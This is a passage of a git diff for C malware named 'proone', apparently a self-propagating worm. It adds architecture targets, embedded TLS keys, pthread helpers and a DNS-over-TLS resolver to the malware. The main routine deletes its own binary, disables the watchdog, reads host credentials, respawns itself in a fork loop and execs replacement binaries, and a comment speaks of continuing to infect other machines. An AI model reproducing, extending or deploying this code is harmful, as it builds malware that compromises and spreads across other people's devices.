(void) { - if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, (const uint8_t*)PRNE_X509_CA_CRT, sizeof(PRNE_X509_CA_CRT) - 1) == 0) { + // Could save 1108 bytes if bundled and compressed + static const uint8_t CA_CRT[] = PRNE_X509_CA_CRT; + static const uint8_t S_CRT[] = PRNE_X509_S_CRT; + static const uint8_t S_KEY[] = PRNE_X509_S_KEY; + static const uint8_t DH[] = PRNE_X509_DH; + static const uint8_t C_CRT[] = PRNE_X509_C_CRT; + static const uint8_t C_KEY[] = PRNE_X509_C_KEY; + + if (mbedtls_x509_crt_parse(&prne_g.ssl.ca, CA_CRT, sizeof(CA_CRT)) == 0) { prne_g.s_ssl.ready = mbedtls_ssl_config_defaults(&prne_g.s_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, (const uint8_t*)PRNE_X509_S_CRT, sizeof(PRNE_X509_S_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.s_ssl.pk, (const uint8_t*)PRNE_X509_S_KEY, sizeof(PRNE_X509_S_KEY) - 1, NULL, 0) == 0 && - mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, (const uint8_t*)PRNE_X509_DH, sizeof(PRNE_X509_DH) - 1) == 0 && + mbedtls_x509_crt_parse(&prne_g.s_ssl.crt, S_CRT, sizeof(S_CRT)) == 0 && + mbedtls_pk_parse_key(&prne_g.s_ssl.pk, S_KEY, sizeof(S_KEY), NULL, 0) == 0 && + mbedtls_dhm_parse_dhm(&prne_g.s_ssl.dhm, DH, sizeof(DH)) == 0 && mbedtls_ssl_conf_own_cert(&prne_g.s_ssl.conf, &prne_g.s_ssl.crt, &prne_g.s_ssl.pk) == 0 && mbedtls_ssl_conf_dh_param_ctx(&prne_g.s_ssl.conf, &prne_g.s_ssl.dhm) == 0; if (prne_g.s_ssl.ready) { @@ -366,8 +232,8 @@ static void load_ssl_conf (void) { prne_g.c_ssl.ready = mbedtls_ssl_config_defaults(&prne_g.c_ssl.conf, MBEDTLS_SSL_IS_SERVER, MBEDTLS_SSL_TRANSPORT_STREAM, MBEDTLS_SSL_PRESET_DEFAULT) == 0 && - mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, (const uint8_t*)PRNE_X509_C_CRT, sizeof(PRNE_X509_C_CRT) - 1) == 0 && - mbedtls_pk_parse_key(&prne_g.c_ssl.pk, (const uint8_t*)PRNE_X509_C_KEY, sizeof(PRNE_X509_C_KEY) - 1, NULL, 0) == 0 && + mbedtls_x509_crt_parse(&prne_g.c_ssl.crt, C_CRT, sizeof(C_CRT)) == 0 && + mbedtls_pk_parse_key(&prne_g.c_ssl.pk, C_KEY, sizeof(C_KEY), NULL, 0) == 0 && mbedtls_ssl_conf_own_cert(&prne_g.c_ssl.conf, &prne_g.c_ssl.crt, &prne_g.c_ssl.pk) == 0; if (prne_g.c_ssl.ready) { mbedtls_ssl_conf_ca_chain(&prne_g.c_ssl.conf, &prne_g.ssl.ca, NULL); @@ -381,11 +247,17 @@ static void load_ssl_conf (void) { static void init_shared_global (void) { // just die on error - const size_t str_len = 1 + 30; + static const size_t str_len = 1 + 30; int fd; - char *name; - - name = prne_malloc(1, str_len + 1); + char name[str_len]; + + /* TODO + * 1. Try anonymous mmap() + * 2. Try opening /dev/zero + * 3. Try creating and opening /tmp/... + * 4. Try creating and opening random file in current wd + * 5. ... just don't use shared memory if all of these fail + */ name[0] = '/'; name[str_len] = 0; prne_rnd_anum_str(&prne_g.ssl.rnd, name + 1, str_len - 1); @@ -395,7 +267,6 @@ static void init_shared_global (void) { abort(); } shm_unlink(name); - prne_free(name); if (ftruncate(fd, sizeof(struct prne_shared_global)) < 0) { abort(); @@ -445,13 +316,21 @@ static void run_ny_bin (void) { int main (const int argc, char **args) { static int exit_code = 0; + static bool loop = true; + + sigemptyset(&ss_exit); + sigemptyset(&ss_all); + sigaddset(&ss_exit, SIGINT); + sigaddset(&ss_exit, SIGTERM); + sigaddset(&ss_all, SIGINT); + sigaddset(&ss_all, SIGTERM); + sigaddset(&ss_all, SIGCHLD); prne_g.host_cred_data = NULL; prne_g.host_cred_size = 0; - prne_ok_or_die(clock_gettime(CLOCK_MONOTONIC, &prne_g.parent_start)); + prne_g.parent_start = prne_gettime(CLOCK_MONOTONIC); prne_g.run_cnt = 0; prne_g.resolv = NULL; - prne_g.caught_signal = 0; prne_g.parent_pid = getpid(); prne_g.child_pid = 0; prne_g.lock_shm_fd = -1; @@ -483,15 +362,16 @@ int main (const int argc, char **args) { delete_myself(args[0]); disasble_watchdog(); - // load data from stdin - read_host_credential(); - read_bin_archive(); - if (!ensure_single_instance()) { + prne_dbgpf("*** ensure_single_instance() returned false."); exit_code = 1; goto END; } + setup_bin_archive(); + // load data from stdin + read_host_credential(); + // done with the terminal prne_close(STDIN_FILENO); prne_close(STDOUT_FILENO); @@ -499,17 +379,10 @@ int main (const int argc, char **args) { prne_close(STDERR_FILENO); #endif - if (pipe(int_pipe) == 0) { - prne_set_pipe_size(int_pipe[0], 1); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFL, O_NONBLOCK)); - prne_ok_or_die(fcntl(int_pipe[0], F_SETFD, FD_CLOEXEC)); - prne_ok_or_die(fcntl(int_pipe[1], F_SETFD, FD_CLOEXEC)); - } - setup_signal_actions(); + sigprocmask(SIG_BLOCK, &ss_all, NULL); // main loop - while (prne_g.caught_signal == 0) { + while (loop) { prne_g.child_pid = fork(); if (prne_g.child_pid >= 0) { @@ -519,38 +392,43 @@ int main (const int argc, char **args) { if (prne_g.child_pid > 0) { static int status; static bool has_ny_bin; - - while (prne_g.caught_signal == 0) { - if (waitpid(prne_g.child_pid, &status, 0) < 0) { - if (errno != EINTR) { - abort(); - } - else { - continue; - } + static int caught_signal = 0; + + status = 0; // FIXME: libc bug? + + do { + prne_assert(sigwait(&ss_all, &caught_signal) == 0); + + switch (caught_signal) { + case SIGINT: + case SIGTERM: + // pass the signal to the child + loop = false; + sigprocmask(SIG_UNBLOCK, &ss_exit, NULL); + kill(prne_g.child_pid, caught_signal); + continue; + case SIGCHLD: + prne_assert(waitpid(prne_g.child_pid, &status, WNOHANG) == prne_g.child_pid); + break; } - break; - } + } while (false); has_ny_bin = strlen(prne_s_g->ny_bin_name) > 0; if (WIFEXITED(status)) { + prne_dbgpf("* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status)); if (WEXITSTATUS(status) == 0) { if (has_ny_bin) { + prne_dbgpf("* detected new bin. Attempting to exec()\n"); run_ny_bin(); // run_ny_bin() returns if fails + prne_dbgperr("** run_ny_bin() failed"); } break; } - -#ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d exited with code %d!\n", prne_g.child_pid, WEXITSTATUS(status)); -#endif } else if (WIFSIGNALED(status)) { -#ifdef PRNE_DEBUG - fprintf(stderr, "* child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status)); -#endif + prne_dbgpf("** child process %d received signal %d!\n", prne_g.child_pid, WTERMSIG(status)); } if (has_ny_bin) { @@ -564,6 +442,7 @@ int main (const int argc, char **args) { prne_close(prne_g.lock_shm_fd); prne_g.lock_shm_fd = -1; prne_g.is_child = true; + prne_g.child_start = prne_gettime(CLOCK_MONOTONIC); exit_code = proone_main(); break; diff --git a/src/proone.h b/src/proone.h index d0cb48e..1516e56 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,5 +1,6 @@ +#pragma once #include "pack.h" -#include "resolv_worker.h" +#include "resolv.h" #include #include @@ -20,8 +21,11 @@ struct prne_global { uint_fast64_t run_cnt; uint8_t boot_id[16]; uint8_t instance_id[16]; - prne_resolv_wkr_ctx_t resolv; - int caught_signal; + pth_t main_pth; + /* + * Could be NULL. Just keep infecting other machines without it. + */ + prne_resolv_t *resolv; pid_t parent_pid; pid_t child_pid; int lock_shm_fd; diff --git a/src/protocol.c b/src/protocol.c index 97259f4..56d6d90 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -33,6 +33,12 @@ const char *prne_arch_tostr (const prne_arch_t x) { return "ppc"; case PRNE_ARCH_SH4: return "sh4"; + case PRNE_ARCH_M68K: + return "m68k"; + case PRNE_ARCH_ARC: + return "arc"; + case PRNE_ARCH_ARCEB: + return "arceb"; } return NULL; diff --git a/src/protocol.h b/src/protocol.h index 4243336..2de0f97 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -7,7 +7,6 @@ #include - typedef struct prne_net_endpoint prne_net_endpoint_t; typedef struct prne_ip_addr prne_ip_addr_t; typedef struct prne_host_cred prne_host_cred_t; @@ -29,6 +28,9 @@ typedef enum { PRNE_ARCH_MPSL, PRNE_ARCH_PPC, PRNE_ARCH_SH4, + PRNE_ARCH_M68K, + PRNE_ARCH_ARC, + PRNE_ARCH_ARCEB, NB_PRNE_ARCH } prne_arch_t; diff --git a/src/pth.c b/src/pth.c new file mode 100644 index 0000000..b727436 --- /dev/null +++ b/src/pth.c @@ -0,0 +1,116 @@ +#include + +#include "util_rt.h" +#include "pth.h" + + +void prne_init_worker (prne_worker_t *w) { + w->ctx = NULL; + w->entry = NULL; + w->fin = NULL; + w->free_ctx = NULL; + w->pth = NULL; +} + +void prne_free_worker (prne_worker_t *w) { + if (w->ctx != NULL) { + prne_assert(w->free_ctx != NULL); + w->free_ctx(w->ctx); + w->ctx = NULL; + } +} + +void prne_fin_worker (prne_worker_t *w) { + if (w->fin != NULL) { + w->fin(w->ctx); + } +} + +bool prne_pth_cv_notify (prne_pth_cv_t *cv) { + bool ret; + + if (pth_mutex_acquire(cv->lock, FALSE, NULL)) { + ret = pth_cond_notify(cv->cond, cv->broadcast) == 0; + prne_assert(pth_mutex_release(cv->lock)); + } + else { + ret = false; + } + + return ret; +} + +bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached) { + pth_event_t ev; + bool ret, reached; + + if (timeout != NULL) { + ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000)); + if (ev == NULL) { + return -1; + } + } + else { + ev = NULL; + } + + if (pth_mutex_acquire(cv->lock, FALSE, NULL)) { + ret = pth_cond_await(cv->cond, cv->lock, ev); + prne_assert(pth_mutex_release(cv->lock)); + } + else { + ret = false; + } + + if (ev != NULL && pth_event_occurred(ev)) { + ret = true; + reached = true; + } + else { + reached = false; + } + + if (to_reached != NULL) { + *to_reached = reached; + } + + pth_event_free(ev, FALSE); + return ret; +} + +int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout) { + pth_event_t ev; + int ret; + + if (timeout != NULL) { + ev = pth_event(PTH_EVENT_TIME, pth_timeout(timeout->tv_sec, timeout->tv_nsec / 1000)); + if (ev == NULL) { + return -1; + } + } + else { + ev = NULL; + } + + do { + ret = pth_poll_ev(fds, nfds, -1, ev); + if (ev != NULL && pth_event_occurred(ev)) { + ret = 0; + break; + } + if (ret < 0 && errno == EINTR) { + continue; + } + } while (false); + + pth_event_free(ev, FALSE); + return ret; +} + +void prne_unint_pth_nanosleep (struct timespec dur) { + struct timespec rem; + + while (pth_nanosleep(&dur, &rem) < 0 && errno == EINTR) { + dur = rem; + } +} diff --git a/src/pth.h b/src/pth.h new file mode 100644 index 0000000..172e6cf --- /dev/null +++ b/src/pth.h @@ -0,0 +1,31 @@ +#pragma once +#include + +#include + + +struct prne_worker { + void *ctx; + void *(*entry)(void*); + void (*fin)(void*); + void (*free_ctx)(void*); + pth_t pth; +}; +typedef struct prne_worker prne_worker_t; + +struct prne_pth_cv { + pth_mutex_t *lock; + pth_cond_t *cond; + bool broadcast; +}; +typedef struct prne_pth_cv prne_pth_cv_t; + + +void prne_init_worker (prne_worker_t *w); +void prne_free_worker (prne_worker_t *w); +void prne_fin_worker (prne_worker_t *w); + +bool prne_pth_cv_notify (prne_pth_cv_t *cv); +bool prne_pth_cond_timedwait (prne_pth_cv_t *cv, const struct timespec *timeout, bool *to_reached); +int prne_unint_pth_poll (struct pollfd *fds, nfds_t nfds, const struct timespec *timeout); +void prne_unint_pth_nanosleep (struct timespec dur); diff --git a/src/resolv.c b/src/resolv.c new file mode 100644 index 0000000..aa18f76 --- /dev/null +++ b/src/resolv.c @@ -0,0 +1,1432 @@ +#include "resolv.h" +#include "util_rt.h" +#include "util_ct.h" +#include "llist.h" +#include "imap.h" +#include "iset.h" +#include "protocol.h" +#include "mbedtls.h" + +#include +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include + +_Static_assert(sizeof(uint_fast16_t) <= sizeof(prne_imap_key_type_t), "prne_imap cannot contain uint_fast16_t"); + +#define OK_OR_ERR(v) if (v < 0) { goto ERR; } + +typedef enum { + RESOLV_CTX_STATE_OK, + RESOLV_CTX_STATE_FIN_CALLED, + RESOLV_CTX_STATE_FINALISED, +} resolv_ctx_state_t; + +typedef struct { + prne_net_endpoint_t *arr; + size_t cnt; + bool ownership; +} resolv_dnssrv_pool_t; + +typedef struct { + prne_resolv_t *owner; + prne_llist_entry_t *qlist_ent; + char *qname; + size_t qname_size; + prne_pth_cv_t *cv; + uint_fast16_t qid; // 0 reserved + prne_resolv_fut_t fut; + prne_ipv_t ipv; + prne_resolv_query_type_t type; + struct timespec tp_queued; +} query_entry_t; + +struct prne_resolv { + size_t read_cnt_len; + size_t write_cnt_len; + struct pollfd act_sck_pfd; + size_t ptr_dnssrv4, ptr_dnssrv6; + resolv_dnssrv_pool_t dnssrv_4, dnssrv_6; + pth_mutex_t lock; + pth_cond_t cond; + resolv_ctx_state_t ctx_state; + uint8_t write_buf[514]; + uint8_t read_buf[514]; + prne_llist_t qlist; + prne_imap_t qid_map; // uint16_t:q_ent(could be null) + struct { + mbedtls_ssl_config conf; + mbedtls_ssl_context ctx; + mbedtls_ctr_drbg_context *ctr_drbg; + } ssl; +}; + +#define DECL_CTX_PTR(p) prne_resolv_t *ctx = (prne_resolv_t*)p + +static const struct timespec RESOLV_RSRC_ERR_PAUSE = { 1, 0 }; // 1s +static const struct timespec RESOLV_CONN_ERR_PAUSE = { 0, 100 }; // 100ms +static const struct timespec RESOLV_QUERY_TIMEOUT = { 15, 0 }; // 15s +static const struct timespec RESOLV_SCK_OP_TIMEOUT = { 10, 0 }; // 10s +static const struct timespec RESOLV_SCK_IDLE_TIMEOUT = { 15, 0 }; // 15s +static const struct timespec RESOLV_SCK_CLOSE_TIMEOUT = { 1, 0 }; // 1s +static const size_t RESOLV_PIPELINE_SIZE = 4; + +static prne_net_endpoint_t DEF_IPV4_EP[] = { + // Google + { { { 0x8, 0x8, 0x8, 0x8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0x8, 0x8, 0x4, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + // Cloudflare + { { { 0x1, 0x1, 0x1, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0x1, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + // Quad9 + { { { 0x9, 0x9, 0x9, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0x95, 0x70, 0x70, 0xa, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + // CleanBrowsing + { { { 0xb9, 0xe4, 0xa8, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 }, + { { { 0xb9, 0xe4, 0xa9, 0x9, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0 }, PRNE_IPV_4 }, 853 } +}; + +static resolv_dnssrv_pool_t RESOLV_DEF_IPV4_POOL = { + DEF_IPV4_EP, + sizeof(DEF_IPV4_EP)/sizeof(prne_net_endpoint_t), + false +}; + +static prne_net_endpoint_t DEF_IPV6_EP[] = { + // Google + { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x88 }, PRNE_IPV_6 }, 853 }, + { { { 0x20, 0x1, 0x48, 0x60, 0x48, 0x60, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x88, 0x44 }, PRNE_IPV_6 }, 853 }, + // Cloudflare + { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x11, 0x11 }, PRNE_IPV_6 }, 853 }, + { { { 0x26, 0x6, 0x47, 0x0, 0x47, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x10, 0x1 }, PRNE_IPV_6 }, 853 }, + // Quad9 + { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0xfe }, PRNE_IPV_6 }, 853 }, + { { { 0x26, 0x20, 0x0, 0xfe, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x9 }, PRNE_IPV_6 }, 853 }, + // CleanBrowsing + { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x1, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 }, + { { { 0x2a, 0xd, 0x2a, 0x0, 0x0, 0x2, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2 }, PRNE_IPV_6 }, 853 } +}; + +static resolv_dnssrv_pool_t RESOLV_DEF_IPV6_POOL = { + DEF_IPV6_EP, + sizeof(DEF_IPV6_EP)/sizeof(prne_net_endpoint_t), + false +}; + +static int resolv_set_cmn_fd_opt (const int fd) { + // TODO: no FD_CLOEXEC + return fcntl(fd, F_SETFL, O_NONBLOCK) == 0 ? fcntl(fd, F_SETFD, FD_CLOEXEC) : -1; +} + +static void resolv_free_q_ent (query_entry_t *q_ent) { + if (q_ent == NULL) { + return; + } + + prne_free(q_ent->qname); + prne_free_resolv_fut(&q_ent->fut); + + prne_free(q_ent); +} + +static bool resolv_gen_qname (const char *name, char **out, size_t *out_size) { + size_t len = prne_nstrlen(name); + char *ptr = (char*)name, *delim; + char *end = ptr + len; + size_t label_size; + char *ret_ptr; + size_t ret_size; + + if (len == 0) { + errno = EINVAL; + return false; + } + if (name[len - 1] != '.') { + len += 1; + } + if (len > 255) { + errno = EINVAL; + return false; + } + for (; *name != 0; name += 1) { + if (((uint_fast8_t)*name & 0xC0) == 0xC0) { + errno = EINVAL; + return false; + } + } + + ret_ptr = prne_alloc_str(len); + if (ret_ptr == NULL) { + return false; + } + + ret_size = 0; + while (ptr < end) { + delim = strchr(ptr, '.'); + if (delim == NULL) { + delim = strchr(ptr, 0); + } + + label_size = delim - ptr; + if (label_size == 0 || label_size > 63) { + errno = EINVAL; + goto ERR; + } + + ret_ptr[ret_size] = (uint8_t)label_size; + memcpy(ret_ptr + ret_size + 1, ptr, label_size); + ret_size += 1 + label_size; + ptr = delim + 1; + } + ret_ptr[ret_size] = 0; + ret_size += 1; + + *out = prne_realloc(ret_ptr, 1, ret_size); + if (*out == NULL) { + *out = ret_ptr; + } + *out_size = ret_size; + + return true; +ERR: + prne_free(ret_ptr); + return false; +} + +char *resolv_qname_tostr (const char *qname) { + char *ret, *p, *end; + const size_t qname_size = strlen(qname) + 1; + size_t label_len; + + ret = p = (char*)prne_malloc(1, qname_size); + if (p == NULL) { + return NULL; + } + memcpy(p, qname, qname_size); + end = p + qname_size; + + while (p < end) { + label_len = *p; + if (label_len == 0) { + break; + } + else if (p + label_len > end) { + goto ERR; + } + + memmove(p, p + 1, label_len); + p[label_len] = '.'; + p += label_len + 1; + } + + return ret; +ERR: + prne_free(ret); + return NULL; +} + +static bool resolv_qq (prne_resolv_t *ctx, const char *name, prne_pth_cv_t *cv, prne_resolv_prm_t *out, query_entry_t **ny_q_ent) { + query_entry_t *q_ent = NULL; + + if (ctx->ctx_state != RESOLV_CTX_STATE_OK) { + errno = ECANCELED; + return false; + } + + q_ent = (query_entry_t*)prne_malloc(sizeof(query_entry_t), 1); + if (q_ent == NULL) { + goto ERR; + } + q_ent->owner = ctx; + q_ent->qlist_ent = NULL; + q_ent->qname = NULL; + q_ent->qname_size = 0; + q_ent->cv = cv; + q_ent->qid = 0; + q_ent->ipv = PRNE_IPV_NONE; + prne_init_resolv_fut(&q_ent->fut); + + if (!resolv_gen_qname(name, &q_ent->qname, &q_ent->qname_size)) { + goto ERR; + } + + prne_assert(pth_mutex_acquire(&ctx->lock, FALSE, NULL)); + q_ent->qlist_ent = prne_llist_append(&ctx->qlist, q_ent); + if (q_ent->qlist_ent == NULL) { + goto ERR; + } + q_ent->tp_queued = prne_gettime(CLOCK_MONOTONIC); + pth_cond_notify(&ctx->cond, FALSE); + prne_assert(pth_mutex_release(&ctx->lock)); + + out->ctx = q_ent; + out->fut = &q_ent->fut; + *ny_q_ent = q_ent; + + return true; +ERR: + if (q_ent != NULL) { + prne_llist_erase(&ctx->qlist, q_ent->qlist_ent); + prne_free(q_ent->qname); + + prne_free(q_ent); + } + + return false; +} + +static void resolv_disown_qent (query_entry_t *qent) { + qent->owner = NULL; + qent->qlist_ent = NULL; + qent->qid = 0; + if (qent->cv != NULL) { + prne_pth_cv_notify(qent->cv); + } +} + +static size_t resolv_next_pool_ptr (prne_resolv_t *ctx, const size_t cnt) { + size_t ret = 0; + + prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(size_t)) == 0); + + return ret % cnt; +} + +static uint16_t resolv_next_qid (prne_resolv_t *ctx) { + uint16_t ret; + + for (uint_fast16_t i = 0; i < UINT16_MAX; i += 1) { + prne_assert(mbedtls_ctr_drbg_random(ctx->ssl.ctr_drbg, (unsigned char*)&ret, sizeof(uint16_t)) == 0); + + ret = (ret % UINT16_MAX) + 1; + if (prne_imap_lookup(&ctx->qid_map, ret) == NULL) { + return ret; + } + } + + return 0; +} + +static void resolv_close_sck (prne_resolv_t *ctx, const struct timespec *pause, bool change_srvr) { // TODO: take errno as param + size_t i; + query_entry_t *qent; + prne_llist_entry_t *lent; + + // ctx->qid_map -> ctx->qlist + for (i = 0; i < ctx->qid_map.size; i += 1) { + qent = (query_entry_t*)ctx->qid_map.tbl[i].val; + if (qent == NULL) { + continue; + } + + lent = prne_llist_append(&ctx->qlist, qent); + if (lent == NULL) { + qent->fut.qr = PRNE_RESOLV_QR_ERR; + qent->fut.err = errno; + resolv_disown_qent(qent); + } + else { + qent->qid = 0; + qent->qlist_ent = lent; + } + } + prne_imap_clear(&ctx->qid_map); + + prne_shutdown(ctx->act_sck_pfd.fd, SHUT_RDWR); + prne_close(ctx->act_sck_pfd.fd); + ctx->act_sck_pfd.fd = -1; + ctx->read_cnt_len = 0; + ctx->write_cnt_len = 0; + mbedtls_ssl_free(&ctx->ssl.ctx); + mbedtls_ssl_init(&ctx->ssl.ctx); + + if (pause != NULL) { + prne_unint_pth_nanosleep(*pause); + } + if (change_srvr) { + ctx->ptr_dnssrv4 = resolv_next_pool_ptr(ctx, ctx->dnssrv_4.cnt); + ctx->ptr_dnssrv6 = resolv_next_pool_ptr(ctx, ctx->dnssrv_6.cnt); + } +} + +static bool resolv_ensure_act_dns_fd (prne_resolv_t *ctx) { + static const int ov_nodelay = 1; + static socklen_t optval_len = sizeof(int); + size_t i; + struct pollfd pfs[2]; + int optval, pollret; + const struct timespec *err_sleep = NULL; + bool ret = false; + + pfs[0].fd = socket(AF_INET6, SOCK_STREAM, 0); + pfs[1].fd = socket(AF_INET, SOCK_STREAM, 0); + pfs[0].events = POLLOUT; + pfs[1].events = POLLOUT; + if (pfs[0].fd >= 0) { + setsockopt(pfs[0].fd, SOL_TCP, TCP_NODELAY, &ov_nodelay, sizeof(int)); + if (resolv_set_cmn_fd_opt(pfs[0].fd) < 0) { + prne_close(pfs[0].fd); + pfs[0].fd = -1; + } + else { + struct sockaddr_in6 addr; + + memzero(&addr, sizeof(addr)); + prne_net_ep_tosin6(ctx->dnssrv_6.arr + ctx->ptr_dnssrv4, &addr); + if (connect(pfs[0].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) { + prne_close(pfs[0].fd); + pfs[0].fd = -1; + } + } + } + if (pfs[1].fd >= 0) { + setsockopt(pfs[1].fd, SOL_TCP, TCP_NODELAY, &ov_nodelay, sizeof(int)); + if (resolv_set_cmn_fd_opt(pfs[1].fd) < 0) { + prne_close(pfs[1].fd); + pfs[1].fd = -1; + } + else { + struct sockaddr_in addr; + + memzero(&addr, sizeof(addr)); + prne_net_ep_tosin4(ctx->dnssrv_4.arr + ctx->ptr_dnssrv6, &addr); + if (connect(pfs[1].fd, (const struct sockaddr*)&addr, sizeof(addr)) < 0 && errno != EINPROGRESS) { + prne_close(pfs[1].fd); + pfs[1].fd = -1; + } + } + } + + /* + * Assume that socket creation failed because there's no resource. + * There could be other reasons like no socket() syscall in kernel + * or no IPv4 support. + */ + if (pfs[0].fd < 0 && pfs[1].fd < 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + goto END; + } + + err_sleep = &RESOLV_CONN_ERR_PAUSE; + while (pfs[0].fd >= 0 || pfs[1].fd >= 0) { + pollret = prne_unint_pth_poll(pfs, 2, &RESOLV_SCK_OP_TIMEOUT); + if (pollret > 0) { + for (i = 0; i < 2; i += 1) { + if (pfs[i].revents & (POLLHUP | POLLERR | POLLNVAL)) { + prne_close(pfs[i].fd); + pfs[i].fd = -1; + } + else if (pfs[i].revents & POLLOUT) { + if (getsockopt(pfs[i].fd, SOL_SOCKET, SO_ERROR, &optval, &optval_len) < 0 || optval != 0) { + prne_close(pfs[i].fd); + pfs[i].fd = -1; + } + else { + if (mbedtls_ssl_setup(&ctx->ssl.ctx, &ctx->ssl.conf) != 0 || mbedtls_ssl_set_hostname(&ctx->ssl.ctx, NULL) != 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + goto END; + } + ctx->act_sck_pfd.fd = pfs[i].fd; + pfs[i].fd = -1; + + mbedtls_ssl_set_bio(&ctx->ssl.ctx, &ctx->act_sck_pfd.fd, prne_mbedtls_ssl_send_cb, prne_mbedtls_ssl_recv_cb, NULL); + ret = true; + break; + } + } + } + } + else if (pollret < 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + break; + } + else { + err_sleep = NULL; + break; + } + } + +END: + prne_close(pfs[0].fd); + prne_close(pfs[1].fd); + if (!ret && err_sleep != NULL) { + prne_unint_pth_nanosleep(*err_sleep); + } + return ret; +} + +static bool resolv_tls_handshake (prne_resolv_t *ctx) { + int pollret; + bool ret = false; + const struct timespec *err_sleep = NULL; + + while (true) { + switch (mbedtls_ssl_handshake(&ctx->ssl.ctx)) { + case MBEDTLS_ERR_SSL_WANT_READ: + ctx->act_sck_pfd.events = POLLIN; + break; + case MBEDTLS_ERR_SSL_WANT_WRITE: + ctx->act_sck_pfd.events = POLLOUT; + break; + case 0: + ret = true; + goto END; + default: + err_sleep = &RESOLV_CONN_ERR_PAUSE; + goto END; + } + + pollret = prne_unint_pth_poll(&ctx->act_sck_pfd, 1, &RESOLV_SCK_OP_TIMEOUT); + if (pollret < 0) { + err_sleep = &RESOLV_RSRC_ERR_PAUSE; + goto END; + } + else if (pollret == 0) { + goto END; + } + else if (ctx->act_sck_pfd.revents & (POLLERR | POLLNVAL | POLLHUP)) { + err_sleep = &RESOLV_CONN_ERR_PAUSE; + goto END; + } + } + +END: + if (!ret) { + resolv_close_sck(ctx, err_sleep, true); + } + return ret; +} + +static bool resolv_ensure_conn (prne_resolv_t *ctx) { + if (ctx->act_sck_pfd.fd < 0) { + if (!(resolv_ensure_act_dns_fd(ctx) && + resolv_tls_handshake(ctx))) + return false; + } + + return true; +} + +static const uint8_t* resolv_index_labels (prne_imap_t *map, const uint8_t *start, const uint8_t *end, const uint8_t *p, prne_resolv_qr_t *qr, int *err) { + uint16_t ptr; + const prne_imap_tuple_t *tpl; + + assert(qr != NULL); + assert(err != NULL); + if (p >= end) { + *qr = PRNE_RESOLV_QR_PRO_ERR; + return NULL; + } + + while (*p != 0 && p < end) { + if ((p[0] & 0xC0) == 0xC0) { + // met pointer. don't go further. + ptr = ((uint16_t)p[0] << 8) | (uint16_t)p[1]; + tpl = prne_imap_lookup(map, ptr); + if (tpl == NULL) { + *qr = PRNE_RESOLV_QR_ERR; + *err = errno; + return NULL; + } + return p + 2; + } + else if (*p > 63) { + *qr = PRNE_RESOLV_QR_PRO_ERR; + return NULL; + } + else { + // index the label + ptr = (uint16_t)(p - start) | 0xC000; + if (prne_imap_insert(map, ptr, (void*)p) == NULL) { + *qr = PRNE_RESOLV_QR_ERR; + *err = errno; + return NULL; + } + p 